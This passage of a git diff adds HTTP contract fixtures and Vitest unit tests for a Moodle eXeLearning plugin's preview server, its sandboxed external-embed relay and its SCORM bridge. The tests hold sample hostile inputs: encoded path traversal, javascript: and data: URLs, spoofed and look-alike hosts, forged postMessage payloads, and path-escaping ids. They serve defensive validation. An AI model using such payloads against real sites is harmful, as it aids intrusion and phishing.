+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "bytes=a-b" }
+            },
+            "expect": {
+                "status": 200,
+                "bodyText": "0123456789",
+                "headers": { "Content-Range": { "absent": true } }
+            }
+        },
+        {
+            "id": "serve-fixed",
+            "request": { "method": "GET", "path": "/preview/{previewId}/libs/jquery/jquery.min.js" },
+            "expect": {
+                "status": 200,
+                "bodyText": "window.jQuery=function(){};",
+                "headers": {
+                    "Cache-Control": "private, max-age=31536000",
+                    "X-Content-Type-Options": "nosniff",
+                    "Access-Control-Allow-Origin": "*"
+                }
+            }
+        },
+        {
+            "id": "serve-fixed-scriptable-svg",
+            "comment": "The sandbox CSP must be emitted on scriptable types from EVERY layer, fixed included.",
+            "request": { "method": "GET", "path": "/preview/{previewId}/theme/icon.svg" },
+            "expect": {
+                "status": 200,
+                "headers": {
+                    "Content-Type": "image/svg+xml; charset=utf-8",
+                    "Cache-Control": "private, max-age=31536000",
+                    "Content-Security-Policy": { "startsWith": "sandbox allow-scripts allow-popups allow-forms" }
+                }
+            }
+        },
+        {
+            "id": "serve-session-scriptable-svg",
+            "request": { "method": "GET", "path": "/preview/{previewId}/img/inline.svg" },
+            "expect": {
+                "status": 200,
+                "headers": {
+                    "Content-Type": "image/svg+xml; charset=utf-8",
+                    "Content-Security-Policy": { "startsWith": "sandbox allow-scripts allow-popups allow-forms" }
+                }
+            }
+        },
+        {
+            "id": "serve-unknown-404",
+            "request": { "method": "GET", "path": "/preview/{previewId}/nope.css" },
+            "expect": {
+                "status": 404,
+                "headers": {
+                    "Cache-Control": "no-store",
+                    "X-Content-Type-Options": "nosniff",
+                    "Access-Control-Allow-Origin": "*"
+                }
+            }
+        },
+        {
+            "id": "serve-traversal-raw",
+            "comment": "A literal ../ is normalized away by URL parsing before it reaches the server; whatever survives must still 404.",
+            "request": { "method": "GET", "path": "/preview/{previewId}/../secret" },
+            "expect": { "status": 404 }
+        },
+        {
+            "id": "serve-traversal-encoded",
+            "comment": "Percent-encoded traversal reaches the server verbatim and must be rejected by path normalization.",
+            "request": { "method": "GET", "path": "/preview/{previewId}/%2e%2e%2fsecret" },
+            "expect": { "status": 404, "headers": { "Cache-Control": "no-store" } }
+        },
+        {
+            "id": "conflicting-revision-409",
+            "comment": "Stale baseRevision (client believes 0, server is at 1).",
+            "request": {
+                "method": "POST",
+                "path": "/api/preview-session/{previewId}/revisions",
+                "body": {
+                    "kind": "revision",
+                    "meta": {
+                        "baseRevision": 0,
+                        "nextRevision": 1,
+                        "deletes": [],
+                        "assetRefs": {},
+                        "fixedRefs": {}
+                    },
+                    "writes": [{ "path": "index.html", "content": "stale" }]
+                }
+            },
+            "expect": {
+                "status": 409,
+                "body": { "reason": "revision-conflict", "currentRevision": 1 }
+            }
+        },
+        {
+            "id": "missing-asset-revision-422",
+            "request": {
+                "method": "POST",
+                "path": "/api/preview-session/{previewId}/revisions",
+                "body": {
+                    "kind": "revision",
+                    "meta": {
+                        "baseRevision": 1,
+                        "nextRevision": 2,
+                        "deletes": [],
+                        "assetRefs": {
+                            "content/resources/ghost.png": "99999999-9999-4999-8999-999999999999@deadbeef"
+                        },
+                        "fixedRefs": {}
+                    },
+                    "writes": []
+                }
+            },
+            "expect": {
+                "status": 422,
+                "body": {
+                    "reason": "missing-assets",
+                    "missing": ["99999999-9999-4999-8999-999999999999@deadbeef"]
+                }
+            }
+        },
+        {
+            "id": "delete-session",
+            "request": { "method": "DELETE", "path": "/api/preview-session/{previewId}" },
+            "expect": { "status": 200, "body": { "success": true } }
+        },
+        {
+            "id": "serve-after-delete-404",
+            "request": { "method": "GET", "path": "/preview/{previewId}/index.html" },
+            "expect": { "status": 404, "headers": { "Cache-Control": "no-store" } }
+        }
+    ]
+}
diff --git a/tests/js/embed_scorm_coexistence.test.js b/tests/js/embed_scorm_coexistence.test.js
new file mode 100644
index 0000000..e7cc0e1
--- /dev/null
+++ b/tests/js/embed_scorm_coexistence.test.js
@@ -0,0 +1,69 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Regression guard (DEC-0061 + DEC-0059): in secure mode the package now loads BOTH
+// the SCORM bridge (scoring) AND the external-embed shim/relay. They must coexist —
+// the embed feature must not break SCORM score saving. Side-effect imports in the
+// same load order as production (tracker → scorm shim → scorm relay → embed shim →
+// embed relay). globals (describe/it/expect) come from vitest.config.mjs.
+import '../../js/scorm_tracker.js';
+import '../../js/scorm_bridge_shim.js';
+import '../../js/scorm_bridge_relay.js';
+import '../../js/exe_embed_shim.js';
+import '../../js/exe_embed_relay.js';
+
+const scormRelay = window.exeScormBridge;
+const embedRelay = window.exeEmbedRelay;
+
+describe('embed feature does not break the SCORM bridge', () => {
+    it('keeps every bridge + embed global defined and distinct (no clobbering)', () => {
+        expect(window.exeScormTracker).toBeTruthy();
+        expect(window.exeScormBridgeShim).toBeTruthy();
+        expect(window.exeScormBridge).toBeTruthy();
+        expect(window.exeEmbedShim).toBeTruthy();
+        expect(window.exeEmbedRelay).toBeTruthy();
+        expect(window.exeScormBridge).not.toBe(window.exeEmbedRelay);
+        expect(window.exeScormBridgeShim).not.toBe(window.exeEmbedShim);
+    });
+
+    it('still accepts a SCORM track message (scoring path) with the embed modules loaded', () => {
+        const track = {
+            type: 'scorm',
+            action: 'track',
+            cmi: { 'cmi.core.score.raw': '80' },
+            exelearningBridge: 'N1',
+        };
+        expect(scormRelay.isTrackMessage(track)).toBe(true);
+        expect(scormRelay.acceptTrack(track, 'N1')).toBe(true);
+        // Wrong nonce is still rejected (the embed code did not weaken validation).
+        expect(scormRelay.acceptTrack(track, 'OTHER')).toBe(false);
+    });
+
+    it('the two bridges ignore each other’s message types', () => {
+        // The SCORM relay never treats an embed message as a score.
+        expect(scormRelay.isTrackMessage({ type: 'exe-embed', action: 'sync', embeds: [] })).toBe(false);
+        // The embed relay still validates a real embed URL (its own channel works).
+        // Open mode (default): any cross-origin https iframe is accepted verbatim.
+        const ok = embedRelay.validate('https://www.youtube.com/embed/abc123', 'http://x/content/1/index.html');
+        expect(ok).toEqual({ url: 'https://www.youtube.com/embed/abc123', kind: 'video' });
+    });
+
+    it('the embed relay does not act on a SCORM track message (no overlay created)', () => {
+        const r = embedRelay.createRelay({ whitelist: ['www.youtube.com'] });
+        const before = document.querySelectorAll('.exe-embed-overlay').length;
+        r.onMessage({ source: {}, data: { type: 'scorm', action: 'track', cmi: {}, exelearningBridge: 'N1' } });
+        expect(document.querySelectorAll('.exe-embed-overlay').length).toBe(before);
+    });
+});
diff --git a/tests/js/exe_embed.test.js b/tests/js/exe_embed.test.js
new file mode 100644
index 0000000..ef4ba45
--- /dev/null
+++ b/tests/js/exe_embed.test.js
@@ -0,0 +1,474 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Unit tests for the secure-mode external-embed shim + relay (DEC-0061). The shim
+// (in-iframe) promotes any cross-origin https / .pdf iframe; the relay (parent) is the
+// authoritative gate: in 'open' mode the structural invariant (https + cross-origin to
+// the LMS), in 'strict' mode the maintained host allowlist. Side-effect imports expose
+// the API on window.* (and module.exports); globals come from vitest.config.mjs.
+import '../../js/exe_embed_shim.js';
+import '../../js/exe_embed_relay.js';
+
+const shim = window.exeEmbedShim;
+const relay = window.exeEmbedRelay;
+
+const HOSTS = [
+    'www.youtube.com', 'youtube.com', 'www.youtube-nocookie.com',
+    'youtube-nocookie.com', 'player.vimeo.com', 'vimeo.com',
+    'www.dailymotion.com', 'dailymotion.com', 'geo.dailymotion.com',
+    'mediateca.educa.madrid.org',
+];
+const STRICT = { strict: true, whitelist: relay.buildWhitelist(HOSTS) };
+const ORIGIN = window.location.origin;       // happy-dom default (the "LMS" origin here).
+const CONTENT_SRC = ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/index.html';
+
+describe('exe_embed_relay validate() — open mode (default): structural invariant', () => {
+    it('accepts any cross-origin https video iframe verbatim (no host list, no reconstruction)', () => {
+        expect(relay.validate('https://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC))
+            .toEqual({ url: 'https://www.youtube.com/embed/aqz-KE-bpKQ', kind: 'video' });
+        expect(relay.validate('https://some-new-provider.example/player/42', CONTENT_SRC))
+            .toEqual({ url: 'https://some-new-provider.example/player/42', kind: 'video' });
+    });
+
+    it('rejects same-origin (the LMS itself)', () => {
+        expect(relay.validate(ORIGIN + '/course/view.php?id=2', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects non-https', () => {
+        expect(relay.validate('http://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects userinfo (https://evil.com@youtube.com/...)', () => {
+        expect(relay.validate('https://evil.com@www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects IP-literal and loopback/local hosts', () => {
+        expect(relay.validate('https://1.2.3.4/player', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('https://[2001:db8::1]/player', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('https://localhost/player', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('https://intranet.local/player', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects non-http(s) schemes (data:/javascript:/blob:)', () => {
+        expect(relay.validate('data:text/html,<h1>x</h1>', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('javascript:alert(1)', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('blob:https://x.test/uuid', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects a relative URL (the shim must report absolute)', () => {
+        expect(relay.validate('files/local.pdf', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('/admin/secret', CONTENT_SRC)).toBeNull();
+    });
+});
+
+describe('exe_embed_relay validate() — PDFs (always allowed by structure)', () => {
+    it('accepts any cross-origin https PDF (no sameorigin flag)', () => {
+        expect(relay.validate('https://example.com/docs/report.pdf', CONTENT_SRC))
+            .toEqual({ url: 'https://example.com/docs/report.pdf', kind: 'pdf' });
+    });
+
+    it('accepts a same-origin PDF under the content directory (flagged sameorigin)', () => {
+        const pdf = ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/files/local.pdf';
+        expect(relay.validate(pdf, CONTENT_SRC)).toEqual({ url: pdf, kind: 'pdf', sameorigin: true });
+    });
+
+    it('rejects a same-origin PDF outside the package (e.g. an admin route)', () => {
+        expect(relay.validate(ORIGIN + '/admin/secret.pdf', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects an http PDF', () => {
+        expect(relay.validate('http://example.com/x.pdf', CONTENT_SRC)).toBeNull();
+    });
+});
+
+describe('exe_embed_relay validate() — strict mode (opt-in allowlist)', () => {
+    it('rebuilds the canonical youtube-nocookie URL from a youtube.com embed', () => {
+        expect(relay.validate('https://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC, STRICT))
+            .toEqual({ url: 'https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ', kind: 'video' });
+    });
+
+    it('rebuilds the canonical Vimeo / Dailymotion / EducaMadrid URLs', () => {
+        expect(relay.validate('https://player.vimeo.com/video/76979871', CONTENT_SRC, STRICT).url)
+            .toBe('https://player.vimeo.com/video/76979871');
+        expect(relay.validate('https://www.dailymotion.com/embed/video/x8abc12', CONTENT_SRC, STRICT).url)
+            .toBe('https://www.dailymotion.com/embed/video/x8abc12');
+        expect(relay.validate('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh', CONTENT_SRC, STRICT).url)
+            .toBe('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs');
+    });
+
+    it('rejects a non-whitelisted cross-origin https host (unlike open mode)', () => {
+        expect(relay.validate('https://some-new-provider.example/player/42', CONTENT_SRC, STRICT)).toBeNull();
+        expect(relay.validate('https://example.com/', CONTENT_SRC, STRICT)).toBeNull();
+    });
+
+    it('rejects look-alike hosts and malformed ids', () => {
+        expect(relay.validate('https://www.youtube.com.evil.com/embed/aqz-KE-bpKQ', CONTENT_SRC, STRICT)).toBeNull();
+        expect(relay.validate('https://www.youtube.com/embed/', CONTENT_SRC, STRICT)).toBeNull();
+        expect(relay.validate('https://player.vimeo.com/video/not-a-number', CONTENT_SRC, STRICT)).toBeNull();
+    });
+
+    it('still accepts cross-origin PDFs in strict mode', () => {
+        expect(relay.validate('https://example.com/x.pdf', CONTENT_SRC, STRICT))
+            .toEqual({ url: 'https://example.com/x.pdf', kind: 'pdf' });
+    });
+});
+
+describe('exe_embed_relay structural helpers', () => {
+    it('isIpOrLocalHost flags IP literals and loopback/local names', () => {
+        ['1.2.3.4', '255.0.0.1', '[::1]', '[2001:db8::1]', 'localhost', 'x.localhost', 'host.local', ''].forEach(
+            (h) => expect(relay.isIpOrLocalHost(h)).toBe(true)
+        );
+        ['youtube.com', 'player.vimeo.com', 'example.org'].forEach(
+            (h) => expect(relay.isIpOrLocalHost(h)).toBe(false)
+        );
+    });
+
+    it('isRelatedToLms flags the LMS host, its subdomains and superdomains (dotted boundary)', () => {
+        expect(relay.isRelatedToLms('lms.example.org', 'lms.example.org')).toBe(true);   // equal
+        expect(relay.isRelatedToLms('cdn.lms.example.org', 'lms.example.org')).toBe(true); // subdomain
+        expect(relay.isRelatedToLms('example.org', 'lms.example.org')).toBe(true);        // superdomain
+        expect(relay.isRelatedToLms('evil-lms.example.org', 'lms.example.org')).toBe(false); // look-alike
+        expect(relay.isRelatedToLms('youtube.com', 'lms.example.org')).toBe(false);
+    });
+
+    it('isRelatedToLms normalises the trailing-dot FQDN-root form (no host. bypass)', () => {
+        // 'lms.example.org.' resolves to the same vhost but compares unequal as a raw
+        // string; without normalisation it would slip past the related-to-LMS gate and
+        // be promoted as a cross-origin player with allow-same-origin.
+        expect(relay.isRelatedToLms('lms.example.org.', 'lms.example.org')).toBe(true);   // dotted host
+        expect(relay.isRelatedToLms('lms.example.org', 'lms.example.org.')).toBe(true);   // dotted lmsHost
+        expect(relay.isRelatedToLms('cdn.lms.example.org.', 'lms.example.org')).toBe(true); // dotted subdomain
+        expect(relay.normalizeHost('LMS.Example.ORG.')).toBe('lms.example.org');
+    });
+});
+
+describe('exe_embed_shim promotion decisions', () => {
+    it('isPdfUrl detects .pdf paths (ignoring the query)', () => {
+        expect(shim.isPdfUrl('https://x.test/a/b.pdf')).toBe(true);
+        expect(shim.isPdfUrl('https://x.test/a/b.pdf?download=1')).toBe(true);
+        expect(shim.isPdfUrl('https://x.test/a/b.html')).toBe(false);
+    });
+
+    it('isPromotable: any cross-origin https or .pdf yes; same-origin / http no', () => {
+        expect(shim.isPromotable('https://www.youtube.com/embed/x12345')).toBe(true);
+        expect(shim.isPromotable('https://anything.example/player')).toBe(true);
+        expect(shim.isPromotable('https://files.test/manual.pdf')).toBe(true);
+        expect(shim.isPromotable('files/local.pdf')).toBe(true);              // relative .pdf
+        expect(shim.isPromotable(ORIGIN + '/course/view.php')).toBe(false);   // same-origin, not pdf
+        expect(shim.isPromotable('http://www.youtube.com/embed/x')).toBe(false); // not https
+    });
+
+    it('promote() replaces cross-origin/PDF iframes and leaves same-origin ones', () => {
+        // Scan a DETACHED container so happy-dom never navigates the iframe srcs.
+        const root = document.createElement('div');
+        root.innerHTML =
+            '<iframe id="yt" src="https://www.youtube.com/embed/aqz-KE-bpKQ" width="560" height="315"></iframe>' +
+            '<iframe id="pdf" src="https://example.com/x.pdf" width="600" height="400"></iframe>' +
+            '<iframe id="same" src="' + ORIGIN + '/local/page.html" width="320" height="120"></iframe>';
+
+        const created = shim.promote(root, { n: 0 });
+
+        expect(created.length).toBe(2);
+        expect(root.querySelector('#same')).not.toBeNull();   // same-origin survives
+        expect(root.querySelector('#yt')).toBeNull();
+        expect(root.querySelector('#pdf')).toBeNull();
+
+        const ph = created[0];
+        expect(ph.getAttribute('data-exe-embed-id')).toBe('exe-embed-1');
+        expect(ph.getAttribute('data-exe-embed-url')).toContain('youtube.com');
+        expect(ph.style.width).toBe('560px');
+        expect(ph.style.height).toBe('315px');
+    });
+
+    it('reports a RELATIVE src as an absolute URL (the parent relay cannot resolve relatives)', () => {
+        const root = document.createElement('div');
+        root.innerHTML = '<iframe id="lpdf" src="files/local-sample.pdf" width="600" height="400"></iframe>';
+
+        const created = shim.promote(root, { n: 0 });
+
+        expect(created.length).toBe(1);
+        const reported = created[0].getAttribute('data-exe-embed-url');
+        expect(reported).toMatch(/^https?:\/\//);
+        expect(reported).toMatch(/files\/local-sample\.pdf$/);
+    });
+});
+
+describe('exe_embed_relay makePlayer() — sandboxed players', () => {
+    it('video player is sandboxed with allow-same-origin but NOT top-navigation/modals', () => {
+        const frame = relay.makePlayer({ url: 'https://www.youtube.com/embed/abc123', kind: 'video' });
+        const sb = frame.getAttribute('sandbox');
+        expect(sb).toContain('allow-scripts');
+        expect(sb).toContain('allow-same-origin');   // cross-origin src keeps its own origin; renders.
+        expect(sb).not.toContain('allow-top-navigation');
+        expect(sb).not.toContain('allow-modals');
+        expect(frame.getAttribute('data-exe-embed-player')).toBe('1'); // excluded from message auth
+        expect(frame.getAttribute('allow')).toContain('autoplay');
+        expect(frame.getAttribute('referrerpolicy')).toBe('strict-origin-when-cross-origin');
+    });
+
+    it('cross-origin PDF player is sandboxed WITHOUT top-navigation/scripts (cannot redirect the tab)', () => {
+        // A server can serve scripted HTML at a .pdf path; the sandbox stops it top-navigating
+        // the Moodle tab. allow-same-origin keeps the provider origin (SOP-isolated).
+        const frame = relay.makePlayer({ url: 'https://files.test/manual.pdf', kind: 'pdf' });
+        const sb = frame.getAttribute('sandbox');
+        expect(sb).not.toBeNull();
+        expect(sb).toContain('allow-same-origin');
+        expect(sb).not.toContain('allow-top-navigation');
+        expect(sb).not.toContain('allow-scripts');
+        expect(frame.getAttribute('referrerpolicy')).toBe('no-referrer');
+    });
+
+    it('same-origin package PDF is left unsandboxed (served application/pdf, the viewer needs it)', () => {
+        const frame = relay.makePlayer({ url: ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/files/local.pdf', kind: 'pdf', sameorigin: true });
+        expect(frame.hasAttribute('sandbox')).toBe(false);
+        expect(frame.getAttribute('referrerpolicy')).toBe('no-referrer');
+    });
+});
+
+describe('exe_embed_relay createRelay() overlays players from messages', () => {
+    let iframe;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        iframe = document.createElement('iframe');
+        document.body.appendChild(iframe);
+    });
+
+    it('creates an inline overlay player for a valid embed and removes it when no longer reported', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        const players = document.querySelectorAll('.exe-embed-overlay iframe');
+        expect(players.length).toBe(1);
+        expect(players[0].src).toMatch(/www\.youtube\.com\/embed\/abc123$/);   // verbatim in open mode
+
+        r.onMessage({ source: iframe.contentWindow, data: { type: 'exe-embed', action: 'sync', embeds: [] } });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+
+    it('replaces the player when a reused embed id navigates to a different URL (no lingering video)', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'exe-embed-1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        expect(document.querySelector('.exe-embed-overlay iframe').src).toMatch(/www\.youtube\.com\/embed\/abc123$/);
+
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'exe-embed-1', url: 'https://player.vimeo.com/video/12345', x: 0, y: 0, w: 425, h: 350 }],
+            },
+        });
+        const players = document.querySelectorAll('.exe-embed-overlay iframe');
+        expect(players.length).toBe(1);
+        expect(players[0].src).toMatch(/player\.vimeo\.com\/video\/12345$/);
+        expect(players[0].src).not.toMatch(/youtube/);
+    });
+
+    it('checkDrift() re-pins an overlay whose content iframe moved without any event', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        const overlay = document.querySelector('.exe-embed-overlay');
+        // Nothing moved yet: the drift check must be a no-op.
+        expect(r.checkDrift()).toBe(0);
+        // The host toggles a sidebar: the iframe box shifts with no scroll/resize.
+        iframe.getBoundingClientRect = () => ({ left: 120, top: 30, width: 500, height: 320, right: 620, bottom: 350 });
+        expect(r.checkDrift()).toBe(1);
+        expect(overlay.style.left).toBe('120px');
+        expect(overlay.style.top).toBe('30px');
+        expect(overlay.style.width).toBe('500px');
+        // Settled: a second pass changes nothing.
+        expect(r.checkDrift()).toBe(0);
+    });
+
+    it('dispose() tears down overlays like clear() and can be called before init()', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(1);
+
+        r.dispose();
+        expect(document.querySelectorAll('.exe-embed-overlay').length).toBe(0);
+        // Idempotent: a second dispose() (or one before init) must not throw.
+        expect(() => r.dispose()).not.toThrow();
+    });
+
+    it('never treats a promoted player as a content source (forged-message defence)', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        // A sandboxed player with allow-same-origin must not be able to impersonate the
+        // content iframe and inject embeds: tag an iframe like a player and verify a
+        // message from it is ignored.
+        const player = document.createElement('iframe');
+        player.setAttribute('data-exe-embed-player', '1');
+        document.body.appendChild(player);
+        r.onMessage({
+            source: player.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'x', url: 'https://evil.example/phish', x: 0, y: 0, w: 100, h: 100 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+
+    it('ignores a message whose source is not a known content iframe', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: {},
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'x', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 1, h: 1 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+
+    it('ignores non-embed messages', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({ source: iframe.contentWindow, data: { type: 'scorm', action: 'track', cmi: {} } });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+});
+
+describe('exe_embed_shim collect() geometry report', () => {
+    it('reports id + (absolute) url + numeric geometry for each placeholder', () => {
+        const root = document.createElement('div');
+        root.innerHTML =
+            '<iframe src="https://www.youtube.com/embed/aqz-KE-bpKQ" width="560" height="315"></iframe>';
+        shim.promote(root, { n: 0 });
+
+        const embeds = shim.collect(root);
+        expect(embeds.length).toBe(1);
+        expect(embeds[0].id).toMatch(/^exe-embed-/);
+        expect(embeds[0].url).toContain('youtube.com');
+        ['x', 'y', 'w', 'h'].forEach((k) => expect(typeof embeds[0][k]).toBe('number'));
+    });
+});
+
+// DEC-0067 option 1: id-only provider channel. For recognized providers the shim sends
+// {provider, objectId} (not the author URL) and the parent reconstructs the canonical URL
+// from a fixed template after re-checking the object id against a strict regex, so a
+// malicious id cannot inject a path/query and escape the canonical embed path. The
+// structural invariant (validate) still runs on the reconstructed URL.
+describe('exe_embed_shim extractProvider() — recognized providers only', () => {
+    it('extracts {provider, objectId} for youtube/vimeo/dailymotion/educamadrid', () => {
+        expect(shim.extractProvider('https://www.youtube.com/embed/aqz-KE-bpKQ'))
+            .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' });
+        expect(shim.extractProvider('https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ'))
+            .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' });
+        expect(shim.extractProvider('https://youtu.be/aqz-KE-bpKQ'))
+            .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' });
+        expect(shim.extractProvider('https://player.vimeo.com/video/76979871'))
+            .toEqual({ provider: 'vimeo', objectId: '76979871' });
+        expect(shim.extractProvider('https://www.dailymotion.com/embed/video/x8abc12'))
+            .toEqual({ provider: 'dailymotion', objectId: 'x8abc12' });
+        expect(shim.extractProvider('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs'))
+            .toEqual({ provider: 'mediateca-madrid', objectId: 'u555bvi3bk5wsabh' });
+    });
+
+    it('returns null for unknown hosts and malformed paths (falls back to URL mode)', () => {
+        expect(shim.extractProvider('https://some-new-provider.example/player/42')).toBeNull();
+        expect(shim.extractProvider('https://www.youtube.com/watch?v=aqz-KE-bpKQ')).toBeNull(); // not /embed/
+        expect(shim.extractProvider('https://player.vimeo.com/video/not-a-number')).toBeNull();
+        expect(shim.extractProvider('files/local.pdf')).toBeNull();
+    });
+
+    it('promote() stamps provider + objectId and collect() reports them (no raw author URL needed downstream)', () => {
+        const root = document.createElement('div');
+        root.innerHTML =
+            '<iframe src="https://www.youtube.com/embed/aqz-KE-bpKQ" width="560" height="315"></iframe>';
+        shim.promote(root, { n: 0 });
+        const e = shim.collect(root)[0];
+        expect(e.provider).toBe('youtube');
+        expect(e.objectId).toBe('aqz-KE-bpKQ');
+    });
+});
+
+describe('exe_embed_relay reconstructProvider() — canonical URL from id, strict id regex', () => {
+    it('builds the canonical URL for each provider', () => {
+        expect(relay.reconstructProvider('youtube', 'aqz-KE-bpKQ'))
+            .toBe('https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ');
+        expect(relay.reconstructProvider('vimeo', '76979871'))
+            .toBe('https://player.vimeo.com/video/76979871');
+        expect(relay.reconstructProvider('dailymotion', 'x8abc12'))
+            .toBe('https://www.dailymotion.com/embed/video/x8abc12');
+        expect(relay.reconstructProvider('mediateca-madrid', 'u555bvi3bk5wsabh'))
+            .toBe('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs');
+    });
+
+    it('rejects an objectId that tries to escape the canonical path (traversal/slash/query/space)', () => {
+        ['../../evil', 'abc/def', 'abc?x=1', 'abc#frag', 'abc def', 'a b/c', '..', '', 'a@b'].forEach((bad) => {
+            expect(relay.reconstructProvider('youtube', bad)).toBeNull();
+        });
+        expect(relay.reconstructProvider('vimeo', 'not-a-number')).toBeNull();
+        expect(relay.reconstructProvider('unknown-provider', 'abc123')).toBeNull();
+        expect(relay.reconstructProvider('youtube', 42)).toBeNull(); // non-string
+    });
+});
+
+describe('exe_embed_relay createRelay() — id-only embeds', () => {
+    let iframe;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        iframe = document.createElement('iframe');
+        document.body.appendChild(iframe);
+    });
+
+    it('overlays the reconstructed canonical player from an id-only embed (no url field)', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', provider: 'youtube', objectId: 'aqz-KE-bpKQ', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        const players = document.querySelectorAll('.exe-embed-overlay iframe');
+        expect(players.length).toBe(1);
+        expect(players[0].src).toMatch(/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ$/);
+    });
+
+    it('drops an id-only embed whose objectId tries to escape the canonical path', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', provider: 'youtube', objectId: 'x/../../admin', x: 0, y: 0, w: 1, h: 1 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+});
diff --git a/tests/js/exe_media_host.test.js b/tests/js/exe_media_host.test.js
new file mode 100644
index 0000000..9372302
--- /dev/null
+++ b/tests/js/exe_media_host.test.js
@@ -0,0 +1,233 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
